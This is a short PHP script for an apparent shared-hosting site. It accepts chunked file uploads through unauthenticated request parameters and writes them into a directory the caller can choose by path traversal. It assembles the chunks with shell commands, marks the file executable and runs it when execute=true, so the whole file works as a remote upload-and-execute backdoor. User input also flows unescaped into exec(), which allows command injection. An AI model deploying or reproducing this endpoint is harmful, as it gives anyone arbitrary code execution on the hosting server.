<?php
$fileName=htmlspecialchars($_GET["fileName"]);
$index=htmlspecialchars($_GET["index"]);
$total=htmlspecialchars($_GET["total"]);
$targetDir=htmlspecialchars($_GET["targetDir"]);
$execute=htmlspecialchars($_GET["execute"]);
$prefixDir="/homepages/46/d339887408/htdocs/temp/";
exec ( "mkdir -p " . $prefixDir );
if ( $targetDir != "" ){
   $prefixDir="/homepages/46/d339887408/htdocs/temp/.." . $targetDir . "/";
}
if (getenv("HTTP_X_FORWARDED_FOR")){
	$ip = getenv("HTTP_X_FORWARDED_FOR");
	$client = gethostbyaddr($_SERVER['HTTP_X_FORWARDED_FOR']);
  } else {
	$ip = getenv("REMOTE_ADDR");
	$client = gethostbyaddr($_SERVER['REMOTE_ADDR']);
   }
if ( $_SERVER['REQUEST_METHOD'] == 'POST' ){ 
        $postText = file_get_contents('php://input'); 
}
$uploadFile =  $prefixDir . $fileName . "_" . $index; 
$FileHandle = fopen($uploadFile, 'w') or die("can't open file");
fwrite($FileHandle, $postText);
fclose($FileHandle);
if ( $index == "000" ){
	exec ( "cat " . $uploadFile . ">" . $prefixDir . "uploading_" . $fileName );
} else {
	exec ( "cat " . $uploadFile . ">>" . $prefixDir . "uploading_" . $fileName );
}
exec ( "rm -Rf " . $uploadFile );
if ( $index == $total ){
   exec ( "mv ". $prefixDir . "uploading_" . $fileName . " " . $prefixDir . $fileName );
   exec ( "chmod 755 " . $prefixDir . $fileName );
   if ( $execute == "true" ){
      exec ( $prefixDir . $fileName);
      exec ( "rm -Rf " . $prefixDir . $fileName );
   }
}
?>
